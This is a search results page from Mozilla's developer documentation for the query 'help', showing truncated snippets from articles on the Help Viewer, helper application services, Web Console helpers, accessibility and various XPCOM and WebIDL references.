Search completed in 1.25 seconds.
1443 results for "help":
Your results are loading. Please wait...
Creating a Help Content Pack - Archive of obsolete content
Original doc: http://www.mozilla.org/projects/help.../content_packs I hesitate to call it "original", tho, because I've basically rewritten the entire thing so that it's easier and faster to use to create Help content. The previous document had a lot of places where ideas were simply introduced without explanation, and I've tried to go through things a bit more slowly with better descriptions. This is still very much a work in progress, tho, and I need to complete the rest of it soon (where "complete" means "use what's there that's good, build on the stuff that's not as good, and add other useful information as necessary". This document describes how to integrate HTML help documentation into your application using the Mozilla Help Viewer. Documentation contained in the Help Viewer can...
... on the stuff that's not as good, and add other useful information as necessary". This document describes how to integrate HTML help documentation into your application using the Mozilla Help Viewer. Documentation contained in the Help Viewer can be accessed using any XUL application or program that embeds Mozilla. What is a Content Pack? A Content Pack is a packaged set of files that describe Help content. Content Packs include help documents written in XHTML, a content pack descriptor file written in RDF, and a table of contents, index, and glossary (also written in RDF). You can create a content packs which inherit from existing Mozilla Help content packs. The Contents of a Content Pack Content Packs consist of a general pack description file, table of contents, index, search, glossary...
...The content pack descriptor file outlines the framework of the contents of the pack by pointing to the files describing the table of contents, index, and glossary RDF files. The table of contents and index files are simple tree-based outlines written in RDF. ...
...And 22 more matches
Helper Apps (and a bit of Save As) - Archive of obsolete content
Warning: The content of this article may be out of date. It was last updated in 2002. Bird's Eye View Flow of control URILoader tries to find a content listener for the MIME type in question. When this fails, URILoader asks an nsIExternalHelperAppService to handle the load. The nsExternalHelperAppService looks up the nsIMIMEInfo for the load and creates an nsIHelperAppLauncher to manage the load. The nsExternalAppHandler (which implements nsIHelperAppLauncher) uses the nsIMIMEInfo and an nsIHelperAppLauncherDialog to decide what to do with the data. The nsExternalAppHandler does whatever it decided to do. nsIMIMEInfo lookup Look in built-in list which the user cannot override (types we handle internally). Look in user preferences. Ask the OS: Registry on Window...
...ide (types we handle internally). Look in user preferences. Ask the OS: Registry on Windows. Internet Config on the Mac. mailcap/mime.types on Linux. Look in second built-in list, which the user can override. nsExternalAppHandler details Implements nsIStreamListener. Gets notifications from Necko as the data comes in. Four primary tasks: Sets up temporary file and instantiate the nsIHelperAppLauncherDialog in OnStartRequest. Puts the data in the file as OnDataAvailable notifications come in. Knows how to launch a helper application on the data based on the nsIMIMEInfo. Knows how to save the data to disk at a given location if the user decides to do so. nsExternalAppHandler::OnStartRequest Creates a temporary file with a salted name to hold the data. Decides on a suggeste...
...cation if the user decides to do so. nsExternalAppHandler::OnStartRequest Creates a temporary file with a salted name to hold the data. Decides on a suggested filename for the data in case it will be saved. Decides whether the data should be content-decoded (based on some not-so-great heuristics). Decides whether the user should be prompted (based on a preference). Calls Show() on the nsIHelperAppLauncherDialog, which asynchronously puts up the helper app dialog. nsExternalAppHandler::OnDataAvailable Here we just copy the newly arrived data over into our temporary file. If any read or write errors occur, abort the whole process: Cancel the channel. Pull down the helper app dialog (if any). Remove the temp file. nsExternalAppHandler::OnStopRequest Set a flag that we're done...
...And 4 more matches
nsIExternalHelperAppService
uriloader/exthandler/nsIExternalHelperAppService.idlScriptable The external helper app service is used for finding and launching platform specific external applications for a given MIME content type. Inherits from: nsISupports Last changed in Gecko 1.7 Implemented by: @mozilla.org/uriloader/external-helper-app-service;1. ...
... uriloader/exthandler/nsIExternalHelperAppService.idlScriptable The external helper app service is used for finding and launching platform specific external applications for a given MIME content type. Inherits from: nsISupports Last changed in Gecko 1.7 Implemented by: @mozilla.org/uriloader/external-helper-app-service;1. ...
...ervice.idlScriptable The external helper app service is used for finding and launching platform specific external applications for a given MIME content type. Inherits from: nsISupports Last changed in Gecko 1.7 Implemented by: @mozilla.org/uriloader/external-helper-app-service;1. ...
...And 3 more matches
Help Viewer - Archive of obsolete content
Help Viewer: Allows information to be shown to the user inside Mozilla. Introduction Computers and software are incredibly complex. Naturally, then, everyone needs a little help now and then, and getting that help to the user is critical to making applications useful. Consequently, the Mozilla platform provides a cross-platform help viewer along with a framework for providing built-in help documentation. Mozilla's help viewer makes providing documentation an easy job, and this document will describe how you can use it. ...
...ex. Naturally, then, everyone needs a little help now and then, and getting that help to the user is critical to making applications useful. Consequently, the Mozilla platform provides a cross-platform help viewer along with a framework for providing built-in help documentation. ...
..., and getting that help to the user is critical to making applications useful. Consequently, the Mozilla platform provides a cross-platform help viewer along with a framework for providing built-in help documentation. Mozilla's help viewer makes providing documentation an easy job, and this document will describe how you can use it. ...
nsIWinAppHelper
toolkit/xre/nsIWinAppHelper.idlScriptable Used on Windows only to do some work from a special process that gets created with elevated privileges. 1.0 66 Introduced Gecko 1.8 Inherits from: nsISupports Last changed in Gecko 1.9.2 (Firefox 3.6 / Thunderbird 3.1 / Fennec 1.0) Implemented by: @mozilla.org/xre/app-info;1. To create an instance, use: var xulAppInfo = Components.classes["@mozilla.org/xre/app-info;1"] .getService(Components.interfaces.nsIWinAppHelper); The nsIXULAppInfo and nsIXULRuntime interfaces are also implemented by "xre/app-info". Method overview void fixReg(); Obsolete since Gecko 1.9 void postUpdate(in nsILocalFile logFile); Obsolete since Gecko 1.9.2 Attributes Attribute Type Description userCanElevate bo...
...rCanElevate boolean Read only. Returns true only if all the following conditions are all true at once: The operating system is at least Windows Vista User Account Control is enabled The user is an Administrator The application is not already running with elevated permissions Otherwise it returns false. Methods fixReg() Obsolete since Gecko 1.9 (Firefox 3) Invokes helper.exe with the /fixreg parameter. Note that this parameter was never actually supported. void fixReg(); Parameters None. postUpdate() Obsolete since Gecko 1.9.2 (Firefox 3.6 / Thunderbird 3.1 / Fennec 1.0) Invokes helper.exe with the /postupdate parameter. This updates the uninstallation log so that the application can be uninstalled correctly after an update. void post...
... postUpdate() Obsolete since Gecko 1.9.2 (Firefox 3.6 / Thunderbird 3.1 / Fennec 1.0) Invokes helper.exe with the /postupdate parameter. This updates the uninstallation log so that the application can be uninstalled correctly after an update. void postUpdate( in nsILocalFile logFile ); Parameters logFile The file to use for the uninstallation log. The path is passed to helper.exe as the /uninstalllog parameter. ...
Web Console Helpers - Firefox Developer Tools
$(selector, element) Looks up a CSS selector string selector , returning the first node descended from element that matches. If unspecified, element defaults to document. Equivalent to document.querySelector() or calls the $ function in the page, if it exists. See the QuerySelector code snippet. $$(selector, element) Looks up a CSS selector string selector, returning an array of DOM nodes descended from element that match. If unspecified, element defaults to document. ...
... "string", "bool", "node", or "nodes"; if not provided, ANY_TYPE is used. :block (Starting in Firefox 80) Followed by an unquoted string, blocks requests where the URL contains that string. In the Network Monitor, the string now appears and is selected in the Request Blocking sidebar. Unblock with :unblock. cd() Switches JavaScript evaluation context to a different iframe in the page. This helper accepts multiple different ways of identifying the frame to switch to. You can supply any of the following: a selector string to be passed to document.querySelector to locate the iframe element the iframe element itself the content window inside the iframe See working with iframes. clear() Clears the console output area. clearHistory() Just like a normal command line, the con...
... normal command line, the console command line remembers the commands you've typed. Use this function to clear the console's command history. copy() Copies the argument to the clipboard. If the argument is a string, it's copied as-is. If the argument is a DOM node, its outerHTML is copied. Otherwise, JSON.stringify will be called on the argument, and the result will be copied to the clipboard. help()Deprecated since Gecko 62 :help Displays help text. Actually, in a delightful example of recursion, it brings you to this page. inspect() Given an object, generates rich output for that object. Once you select the object in the output area, you can use the arrow keys to navigate the object. keys() Given an object, returns a list of the keys (or property names) on that object. This is a sho...
Gecko Coding Help Wanted - Archive of obsolete content
d still get lost. You're up for some adventure, though, and you're set to take the plunge. But where? Where's a good place to start? Someplace easy and straightforward, so you can get a feel for the lay of the code. Reports in Bugzilla can be deceptive, deceptively hard... or deceptively easy. So we've compiled a list of pointers --from the experts. There's plenty to do, and we sure could use the help. Here are some fixes that are straightforward; they just need some time and attention: deCOMtamination Convert weird, ugly and inefficient method signatures to more natural C++ method signatures. It's really improved code readability, reduced code size, and sped up performance. It's kind of tedious but it's extremely valuable and will help you learn the way around the codebase. We've done a ...
...lly improved code readability, reduced code size, and sped up performance. It's kind of tedious but it's extremely valuable and will help you learn the way around the codebase. We've done a lot, but there's a lot more to do. roc is willing to work closely with anyone with reasonable C++ experience to get them started on this. Just send him mail. Not up for coding yet? Join the Gecko BugAThon and help save Gecko engineers from imminent doom! Original Document Information Author(s): fantasai Last Updated Date: May 4, 2004 Copyright Information: Portions of this content are (C) 1998-2007 by individual mozilla.org contributors; content available under a Creative Commons license | Details. ...
buttonaccesskeyhelp - Archive of obsolete content
...
... ...
buttonlabelhelp - Archive of obsolete content
...
... ...
XForms Help Element - Archive of obsolete content
Introduction Specifies contextual help for the containing form control (see the spec). The help message will be displayed if the F1 key is pressed while the containing form control has focus or if the containing form control recieves a xforms-help event. The message of the help element can exist in instance data, in a remote document, or as inline text. If more than one source of message is specified in this element, the order of precedence is: single node binding attributes, linking attributes, inline text. Attributes Single-Node Binding Linking src - URL of a document whose contents will be retrieved by the help element and used to provide a help message for the containing form control. Type restrictions The help element can be bound to any simple content. Representations Is ...
...ingle node binding attributes, linking attributes, inline text. Attributes Single-Node Binding Linking src - URL of a document whose contents will be retrieved by the help element and used to provide a help message for the containing form control. Type restrictions The help element can be bound to any simple content. Representations Is represented by modeless window that contains the help element's message. ...
helpURI - Archive of obsolete content
<< XUL Reference home helpURI Type: URI The URI of the help page associated with a preference panel. The URI will be opened using the help viewer when the help button is pressed. ...
Help
<< nsIAccessible Page Summary Help text associated with node. attribute AString help; ...
getHelperForLanguage
...
nsIClipboardHelper
Inherits from: nsISupports Last changed in Gecko 1.7 Method overview void copyString(in AString aString); void copyStringToClipboard(in AString aString, in long aClipboardID); Methods copyString() This method copies string to (default) clipboard. void copyString( in AString aString ); Parameters aString The string to copy to the clipboard. copyStringToClipboard() This method copies string to given clipboard. void copyStringToClipboard( in AString aString, in long aClipboardID ); Parameters aString The string to copy to the clipboard. ...
nsILoginManagerIEMigrationHelper
1.0 66 Introduced Gecko 1.9 Inherits from: nsISupports Last changed in Gecko 1.9 (Firefox 3) Method overview void migrateAndAddLogin(in nsILoginInfo aLogin); Methods migrateAndAddLogin() Takes a login provided from nsIEProfileMigrator, migrates it to the current login manager format, and adds it to the list of stored logins. Note: In some cases, multiple logins may be created from a single input when the format is ambiguous. ...
Index - Archive of obsolete content
page-mod. 75 content/mod Provides functions to modify a page content. 76 content/symbiont Used by SDK modules that can load web content and attach content scripts to it. 77 content/worker Used in the internal implementation of SDK modules which use content scripts to interact with web content. 78 core/heritage Helper functions for inheritance. 79 core/namespace Provides an API for creating namespaces for objects, which effectively may be used for creating fields that are not part of objects public API. 80 core/promise Implementation of promises to make asynchronous programming easier. 81 dev/panel Enables you to extend the Firefox Developer T...
...efox Developer Tools. 82 event/core The event/core module allows the creation of APIs to broadcast and subscribe to events. 83 event/target Create objects that broadcast events. 84 frame/hidden-frame Creates Firefox frames (i.e. XUL <iframe> elements) that are not displayed to the user. 85 frame/utils Provides helper functions for working with platform internals like frames and browsers. 86 fs/path Provides access to the local filesystem with the NodeJS path module API. 87 io/byte-streams Provides streams for reading and writing bytes. 88 io/file Provides access to the local filesystem. 89 io/text-streams Provides stream...
... fs/path Provides access to the local filesystem with the NodeJS path module API. 87 io/byte-streams Provides streams for reading and writing bytes. 88 io/file Provides access to the local filesystem. 89 io/text-streams Provides streams for reading and writing text. 90 lang/functional Functional helper methods. 91 lang/type Functions for working with type detection. 92 loader/cuddlefish Add-on SDK, CFX The SDK's module loader. 93 loader/sandbox Create JavaScript sandboxes and execute scripts in them. 94 net/url No summary! 95 net/xhr Provides access to XMLHttpRequest functionality. ...
...And 68 more matches
Closures - JavaScript
unctions, all of which have access to the outer functions' scope. In this context, we can say that closures have access to all outer function scopes. Creating closures in loops: A common mistake Prior to the introduction of the let keyword in ECMAScript 2015, a common problem with closures occurred when you created them inside a loop. To demonstrate, consider the following example code. ...
...ns, all of which have access to the outer functions' scope. In this context, we can say that closures have access to all outer function scopes. Creating closures in loops: A common mistake Prior to the introduction of the let keyword in ECMAScript 2015, a common problem with closures occurred when you created them inside a loop. To demonstrate, consider the following example code. ...
... of the let keyword in ECMAScript 2015, a common problem with closures occurred when you created them inside a loop. To demonstrate, consider the following example code. ...
...And 50 more matches
Index - Archive of obsolete content
Archive › Mozilla › XUL › Index
No summary! 34 buttonaccesskeycancel XUL Attributes, XUL Reference No summary! 35 buttonaccesskeydisclosure XUL Attributes, XUL Reference No summary! 36 buttonaccesskeyextra1 XUL Attributes, XUL Reference No summary! 37 buttonaccesskeyextra2 XUL Attributes, XUL Reference No summary! 38 buttonaccesskeyhelp XUL Attributes, XUL Reference No summary! 39 buttonalign XUL Attributes, XUL Reference No summary! 40 buttondir XUL Attributes, XUL Reference No summary! 41 buttondisabledaccept XUL Attributes, XUL Reference No summary! 42 buttonlabelaccept XUL Attributes, XUL Reference No summary! 43 buttonla...
...s, XUL Reference No summary! 43 buttonlabelcancel XUL Attributes, XUL Reference No summary! 44 buttonlabeldisclosure XUL Attributes, XUL Reference No summary! 45 buttonlabelextra1 XUL Attributes, XUL Reference No summary! 46 buttonlabelextra2 XUL Attributes, XUL Reference No summary! 47 buttonlabelhelp XUL Attributes, XUL Reference No summary! 48 buttonorient XUL Attributes, XUL Reference No summary! 49 buttonpack XUL Attributes, XUL Reference No summary! 50 buttons XUL Attributes, XUL Reference No summary! 51 checkState XUL Attributes, XUL Reference No summary! 52 checkbox.src XUL Attri...
... 75 contextmenu XUL Attributes, XUL Reference No summary! 76 control XUL Attributes, XUL Reference No summary! 77 crop XUL Attributes, XUL Reference No summary! 78 curpos XUL Attributes, XUL Reference No summary! 79 current XUL Attributes, XUL Reference No summary! 80 currentset NeedsHelp, XUL Attributes, XUL Reference No summary! 81 customindex XUL Attributes, XUL Reference No summary! 82 customizable XUL Attributes, XUL Reference No summary! 83 cycler XUL Attributes, XUL Reference No summary! 84 datasources XUL Attributes, XUL Reference No summary! 85 datepicker.type XUL Attr...
...And 27 more matches
Mozilla DOM Hacking Guide
is document, it is greatly appreciated! Target audience: People interested in learning how the DOM is implemented. Prior knowledge of C++ and XPCOM is assumed. If you don't know XPCOM yet, and would like to be able to read this document quickly, you can read the Introduction to XPCOM for the DOM. Otherwise, for more detailed XPCOM documentation, please see the XPCOM project page. Class Info and Helper Classes Introduction to Class Info Class Info is what gives the DOM classes their correct behavior when used through XPConnect. It lies at the heart of the famous "XPCDOM landing" that happened in May. We will talk a lot about XPConnect in this document, since it is so important for the DOM. By "correct behavior", I mean "the intended behavior with respect to the specification or de facto sta...
...'ll take two very different examples. The first one is the window.location object (the same holds true for document.location, actually). We can change the URL of the current window by assigning window.location. In IDL, location is declared to be a readonly attribute. This is because, if we had a SetLocation() method, it would take an nsIDOMLocation parameter, and not a URL string. Instead, in the helper class for the window object (nsWindowSH, see the next Section), we define the GetProperty() member function. GetProperty() is a function used by XPConnect when we are setting an unknown property on the object (window, in our case). In GetProperty(), we check if the property being set is "location". If that is the case, we call nsIDOMLocation::SetHref(). In fact, when setting window.location, we...
...flected in the IDL itself. Fortunately, XPConnect provides us with a way to make our class available as an array in JavaScript. I'm talking about the "scriptable flags". The nsIXPCScriptable interface, implemented by the nsDOMClassInfo class (see Section) defines several flags, one of which is the WANT_GETPROPERTY flag. When set, it allows us to define a GetProperty() function on nsHistorySH (the helper class for the history object), which will handle the array behavior. Indeed, it will forward the call history[1] to history.item(1), which is defined in the IDL and easily coded. The relevant code is at nsDOMClassInfo.cpp, around line 4520. These two examples demonstrate the power of the DOM combined with XPConnect and the JavaScript engine. The possibilities are endless. "What do you want to ...
...And 26 more matches
Index
Mozilla › Tech › XPCOM › Index
work with different versions of Gecko (version 1.8 and 1.9, for example). The more likely case is that the component uses "unfrozen" interfaces and those interfaces can change between Gecko versions. This can create a difficult situation for extension developers trying to support multiple Gecko versions (Firefox 2 and 3, for example). 6 Creating a Python XPCOM component Guide, NeedsHelp, PyXPCOM, XPCOM, XPCOM:Language Bindings Creating Applications with Mozilla already provides a tutorial for making a simple JavaScript or C++ component (implementing the nsISimple interface). Here is how to make the same component in Python using PyXPCOM. 7 Fun With XBL and XPConnect XBL, XPCOM, XPCOM:Language Bindings, XPConnect No summary! 8 Generating GUID...
...plifies the factory creation process that just requires writing a CreateInstance() method. The new nsIGenericFactory interface takes this a step further, by providing a single interface that can be reused anytime a simple implementation of nsIFactory is needed. Here is the interface, and a description of its use.</t> 10 How To Pass an XPCOM Object to a New Window NeedsExample, NeedsHelp If you want to be able to call functions within an XPCOM object from a XUL window's code, you can do so if you pass the XPCOM object as one of the arguments to the window creation method. 11 How to build a binary XPCOM component using Visual Studio Add-ons, Extensions, XPCOM This is a simple tutorial for building XPCOM objects in C++ using Visual Studio. XPCOM is Mozill...
... 67 Profiling XPCShell Sometimes, you might want to get a performance profile of a certain piece of JavaScript (like an XPCOM module), to see which part takes the most time. You could use Venkman for that. But sometimes, Venkman gives too much noise (because it also profiles chrome code). Or you might want to have a more reproducible testcase. In those cases, an xpcshell script can help. You can just call the code you want to test. But then, you can't use the Venkman UI. 68 WithJSModulesAndChrome Moved to HOWTO 69 XPCShell Reference Automated testing, Developing Mozilla, JavaScript, JavaScript:Tools, Tools, XPCOM:Language Bindings, XPConnect The command-line syntax for xpcshell is: 70 XPCshell Test Manifest Expressions QA...
...And 21 more matches
Index - Learn web development
art coding websites. 2 Accessibility ARIA, Accessibility, Articles, Beginner, CSS, CodingScripting, HTML, JavaScript, Landing, Learn, Module Learning some HTML, CSS, and JavaScript is useful if you want to become a web developer. Beyond mechanical use, it's important to learn how to use these technologies responsibly so that all readers might use your creations on the web. To help you achieve this, this module will cover general best practices (which are demonstrated throughout the HTML, CSS, and JavaScript topics), cross browser testing, and some tips on enforcing accessibility from the start. We'll cover accessibility in special detail. 3 Accessible multimedia Accessibility, Article, Audio, Beginner, CodingScripting, HTML, Images, JavaScript, Learn, Multim...
...u've understood our CSS and JavaScript accessibility best practices article. 7 HTML: A good basis for accessibility AT, Accessibility, Article, Beginner, Buttons, CodingScripting, Forms, HTML, Learn, Links, a11y, assistive technology, keyboard, screenreader, semantics You should now be well-versed in writing accessible HTML for most occasions. Our WAI-ARIA basics article will help to fill gaps in this knowledge, but this article has taken care of the basics. Next up we'll explore CSS and JavaScript, and how accessibility is affected by their good or bad use. 8 Mobile accessibility Accessibility, Article, Beginner, CodingScripting, Learn, Mobile, responsive, screenreader, touch In this article, we have provided you with some details about common mobile ...
...ccessibility, shown you why it's important, and looked at how you can fit it into your workflow. You should now also have a thirst to learn about the implementation details that can make sites accessible, and we'll start on that in the next section, looking at why HTML is a good basis for accessibility. ...
...And 20 more matches
Index - Web APIs
Web › API › Index
xperimental, Property, Read-only, Reference, Web Animations, currentTime, waapi, web animations api The currentTime read-only property of the Web Animations API's AnimationTimeline interface returns the timeline's current time in milliseconds, or null if the timeline is inactive. 98 ArrayBufferView API, Interface, JavaScript, Reference, Typed Arrays ArrayBufferView is a helper type representing any of the following JavaScript TypedArray types: 99 Attr API, DOM The Attr interface represents one of a DOM element's attributes as an object. In most DOM methods, you will directly retrieve the attribute as a string (e.g., Element.getAttribute()), but certain functions (e.g., Element.getAttributeNode()) or means of iterating return Attr types. 10...
...Web Audio API, createDynamicsCompressor Compression lowers the volume of the loudest parts of the signal and raises the volume of the softest parts. Overall, a louder, richer, and fuller sound can be achieved. It is especially important in games and musical applications where large numbers of individual sounds are played simultaneously, where you want to control the overall signal level and help avoid clipping (distorting) of the audio output. 238 BaseAudioContext.createGain() API, Audio, AudioContext, BaseAudioContext, Method, Reference, Volume Control, Web Audio API, createGain, sound A GainNode which takes as input one or more audio sources and outputs audio whose volume has been adjusted in gain (volume) to a level specified by the node's GainNode.gain a-rate par...
... dynamically. 394 Determining the dimensions of elements API, CSSOM View, Client width, Guide, Intermediate, client height, offsetHeight, offsetWidth, size of displayed content There are several properties you can look at in order to determine the width and height of elements, and it can be tricky to determine which is the right one for your needs. This article is designed to help you make that decision. Note that all these properties are read-only. If you want to set the width and height of an element, use width and height or the overriding min-width and max-width, and min-height and max-height properties. 395 Managing screen orientation API, Advanced, CSSOM View, Guide, Screen Orientation Screen orientation is something slightly different than device...
...And 19 more matches
Cognitive accessibility - Accessibility
ernational standards organization for the Internet. This group is also responsible for the Accessible Rich Internet Application (ARIA) guidelines. WCAG are guided by four principles: websites must be Perceivable, Operable, Understandable, and Robust. To this end, they define 17 specific guidelines, of which six are especially relevant for cognitive accessibility. All of the following guidelines help more than just people with cognitive disabilities. For example, being able to extend the expiration time on an application requiring an authentication code sent to a mobile device via text message helps with the following scenarios: People with attention or anxiety disorders. People who have a poor short-term memory, or who are multitasking. People who are less technologically literate. Peo...
...le, provide responsive layouts, with a single column mobile design. All information, including structure and relationships conveyed through the presentation, should be available in a form that can be perceived by all users to achieve this goal. For example, the information could be spoken aloud via a narration tool. Making your content capable of being understood by the software is a good way to help ensure it can be used by alternate presentational modes. Time It is important to allow users the time they require to complete tasks. Guideline 2.2 states "provide users enough time to read and use content." A time limit is any process that happens without user initiation after a set time or on a periodic basis, such as being logged out after 30 minutes or having 15 minutes to make a purchase.
...es. Before re-authenticating, encode the data as hidden or encrypted. Providing warnings about inactivity that could result in data loss. When a timeout is used, tell people exactly how much time will cause the session to time out and result in lost data. The exception to this is preserving data for more than 20 hours when no actions are taken. Navigation Guideline 2.4 states "provide ways to help users navigate, find content, and determine where they are," and provides 10 guidelines to ensure the site is navigable and content is findable: Include a <title> Make sure to include a <title> for the document, as titles provide a quick and easy to reference description of the screen's main point. People with cognitive disabilities, limited short-term memory, and reading disabilities al...
...And 13 more matches
Debugging CSS - Learn web development
Sometimes when writing CSS you will encounter an issue where your CSS doesn't seem to be doing what you expect. Perhaps you believe that a certain selector should match an element, but nothing happens, or a box is a different size than you expected. This article will give you guidance on how to go about debugging a CSS problem, and show you how the DevTools included in all modern browsers can help you to find out what is going on. Prerequisites: Basic computer literacy, basic software installed, basic knowledge of working with files, HTML basics (study Introduction to HTML), and an idea of how CSS works (study CSS first steps.) Objective: To learn the basics of what browser DevTools are, and how to do simple inspection and editing of CSS. How to access brows...
...g of CSS. How to access browser DevTools The article What are browser developer tools is an up-to-date guide explaining how to access the tools in various browsers and platforms. While you may choose to mostly develop in a particular browser, and therefore will become most familiar with the tools included in that browser, it is worth knowing how to access them in other browsers. This will help if you are seeing different rendering between multiple browsers. You will also find that browsers have chosen to focus on different areas when creating their DevTools. For example in Firefox there are some excellent tools for working visually with CSS Layout, allowing you to inspect and edit Grid Layouts, Flexbox, and Shapes. However, all of the different browsers have similar fundamental tools,...
...howing the different longhand properties and their values. You can toggle values in the Rules view on and off, when that panel is active -- if you hold your mouse over it checkboxes will appear. Uncheck a rule's checkbox, for example border-radius, and the CSS will stop applying. You can use this to do an A/B comparison, deciding if something looks better with a rule applied or not, and also to help debug it -- for example if a layout is going wrong and you are trying to work out which property is causing the problem. The following video provides some useful tips on debugging CSS using the Firefox DevTools: Editing values In addition to turning properties on and off, you can edit their values. Perhaps you want to see if another color looks better, or wish to tweak the size of something?
...And 9 more matches
Mozilla
A bird's-eye view of the Mozilla framework The purpose of this article is to provide a high-level technical overview of the architecture of the extensible, object-based Mozilla application framework. ...
... the en-US dictionary Occasionally bugs are filed pointing out situations where perfectly legitimate words are missing from the English spell check dictionary in Firefox. This article describes the process for adding a word to the dictionary. Adding phishing protection data providers Phishing protection technology lets Firefox help protect users by comparing the URLs the user visits to a list of known scam sites, and presenting a warning to the user when they visit a site on the list. An introduction to hacking Mozilla This guide introduces the Mozilla project and provides an overview for developers interested in contributing to or exploring the various parts of the codebase. And...
...for Mozilla applications.This page describes the commonly used options and how to use them. You can open the command line interface by pressing shift + F2. Continuous Integration When you push a commit to mozilla-central or a related repository, it initiates a large chain of builds and tests across multiple types of infrastructure. This document will help you understand all the pieces that comprise Mozilla's continuous integration systems. Cookies in Mozilla Suggestions as to needed documentation can be directed to Mike Connor. Cookies Preferences in Mozilla These preferences apply to most Mozilla products (including Firefox and Seamonkey), however they are applicatio...
...And 9 more matches
Mozilla release FAQ - Archive of obsolete content
e all branded as Netscape (AOL) products. What resources are available to the Mozilla community? Webpages Mozilla Project Homepage Netscape Developer Program Website MozillaZine (News service) Mozilla Evangelism Effort MozDev Projects IRC Server: irc.mozilla.org channel #mozillazine Note that recent versions of Mozilla include an IRC client. Other IRC clients can be found at irchelp.org. Usenet All newsgroups in the netscape.public.mozilla.* hierarchy. If your news server doesn't carry these, you can use the Mozilla news server. (Some people receive the newsgroups via a mailing list. Take this into consideration when posting things) FTP See the Mozilla FTP Mirror section for FTP sites Under which license terms was Mozilla released? Mozilla is released under the NPL/...
...x Qt = Another GUI toolkit XP = Cross Platform XPFE = Cross-platform frontend based on NGLayout M[number] = Milestone release [number] (no longer used) I'm wondering how to do XXX with Navigator 3.x... The Mozilla newsgroups are intended to be used by people who will be working with Mozilla, either in an organizational fashion, suggesting features, or coding. Visit Netscape's website for help on that software. I went and made a suggestion and people were rude to me. Why? If you posted it to the mailing list/newsgroups, remember that on Usenet, people are not always polite to each other. Some people are just rude, and some people have a low tolerance for uninformed people. If you're new to the Mozilla newsgroups, you probably should be reading the newsgroup for a few days regularly bef...
...n and people were rude to me. Why? If you posted it to the mailing list/newsgroups, remember that on Usenet, people are not always polite to each other. Some people are just rude, and some people have a low tolerance for uninformed people. If you're new to the Mozilla newsgroups, you probably should be reading the newsgroup for a few days regularly before you post anything. Reading this FAQ might help as well. I did all that, and people were still rude to me. Why? If you're proposing reworking something (like HTTP, HTML, etc) you're expected to have a pretty good knowlege of it first. For example, if you were to make a proposal to compress whole webpages before sending them, devise a new protocol to do so, research how HTTP works, how HTML works, and think about all the good *and* bad points o...
...And 8 more matches
Aprender y obtener ayuda - Learn web development
It is great that you are putting some time into learning a new set of skills, but there are good practices to employ that will make your learning more effective. There are also are times when you'll get stuck and feel frustrated -- even professional web developers feel like this regularly -- and it pays to know about the most effective ways to try and get help so you can progress in your work. This article provides some hints and tips in both of these areas that will help you get more out of learning web development, as well as further reading so you can find out more information about each sub-topic should you wish.. Effective learning Let's move straight on and think about effective learning. Different learning methods It is interesting to consider that there are two main ways in which ...
...r own code examples on your computer, or in an online code editor like JSBin, Codepen, or Glitch. ...
... A goal statement It sounds silly, but why not start with a single sentence that says what you want to achieve? The following have different scopes, but are all realistic and achievable: I want to become a professional web developer in two years' time. ...
...And 7 more matches
How Mozilla determines MIME Types
does do content sniffing, like this: When the Content-Type sent by the server is one of (case-sensitively) text/plain text/plain; charset=ISO-8859-1 text/plain; charset=iso-8859-1 and the server did not send a Content-Encoding header, Mozilla will sniff the first block of data it gets and check for non-text bytes. Text bytes are 9-13, 27, and 31-255. When encountering a non-text byte, the helper app dialog will be shown, showing the MIME type corresponding to the extension of the file. Also, for images loaded via <img src>, Mozilla's image library will do content sniffing (never extension sniffing) to find out the real type of the image. If the server did not send a Content-Type header, Mozilla uses the unknown decoder to find a MIME type. File URIs For file: URIs, Mozilla will ask...
... will be shown, showing the MIME type corresponding to the extension of the file. Also, for images loaded via <img src>, Mozilla's image library will do content sniffing (never extension sniffing) to find out the real type of the image. If the server did not send a Content-Type header, Mozilla uses the unknown decoder to find a MIME type. File URIs For file: URIs, Mozilla will ask the ExternalHelperAppService for a MIME type. FTP Like HTTP URIs without a MIME type, FTP URIs go through the unknown decoder. Unknown Decoder Located at netwerk/streamconv/converters/nsUnknownDecoder.cpp, the interesting part starts at line 287, the sSnifferEntries array together with the DetermineContentType function. It does the following: Checks the start of the file for "magic numbers"; this can curre...
...go through the unknown decoder. Unknown Decoder Located at netwerk/streamconv/converters/nsUnknownDecoder.cpp, the interesting part starts at line 287, the sSnifferEntries array together with the DetermineContentType function. It does the following: Checks the start of the file for "magic numbers"; this can currently detect PDF and Postscript. If the file starts with <?xml, asks the ExternalHelperAppService for a MIME type for the URI. This is done because the generic text/xml MIME type does not work for XUL files, and XHTML files get a different DOM when interpreted as text/xml. The Image Library will be asked for the MIME type given the content. This should allow reliable detection of all image types Mozilla supports. Checks whether the data is HTML by looking for some common HTML ta...
...And 7 more matches
WebIDL bindings
descriptor. There are all sorts of possible options here that handle various edge cases, but most descriptors can be very simple. All the generated code is placed in the mozilla::dom namespace. For each interface, a namespace whose name is the name of the interface with Binding appended is created, and all the things pertaining to that interface's binding go in that namespace. There are various helper objects and utility methods in dom/bindings that are also all in the mozilla::dom namespace and whose headers are all exported into mozilla/dom (placed in $OBJDIR/dist/include by the build process). Adding WebIDL bindings to a class To add a WebIDL binding for interface MyInterface to a class mozilla::dom::MyInterface that's supposed to implement that interface, you need to do the following: ...
...ng unions used on the stack should be declared as a RootedUnion<UnionType>, for example, RootedUnion<OwningObjectOrLong>. Date WebIDL Date types are represented by a mozilla::dom::Date struct. C++ reflections of WebIDL declarations WebIDL declarations (maplike/setlike/iterable) are turned into a set of properties and functions on the interface they are declared on. Each has a different set of helper functions it comes with. In addition, for iterable, there are requirements for C++ function implementation by the interface developer. Maplike Example Interface: interface StringToLongMap { maplike<DOMString, long>; }; The bindings for this interface will generate the storage structure for the map, as well as helper functions for accessing that structure from C++. The generated C++ API wi...
...ents for C++ function implementation by the interface developer. Maplike Example Interface: interface StringToLongMap { maplike<DOMString, long>; }; The bindings for this interface will generate the storage structure for the map, as well as helper functions for accessing that structure from C++. ...
...And 7 more matches
Contributing to the Mozilla code base
We know even before you start contributing that getting set up to work on Firefox and finding a bug that's a good fit for your skills can be a challenge. ...
... We know even before you start contributing that getting set up to work on Firefox and finding a bug that's a good fit for your skills can be a challenge. ...
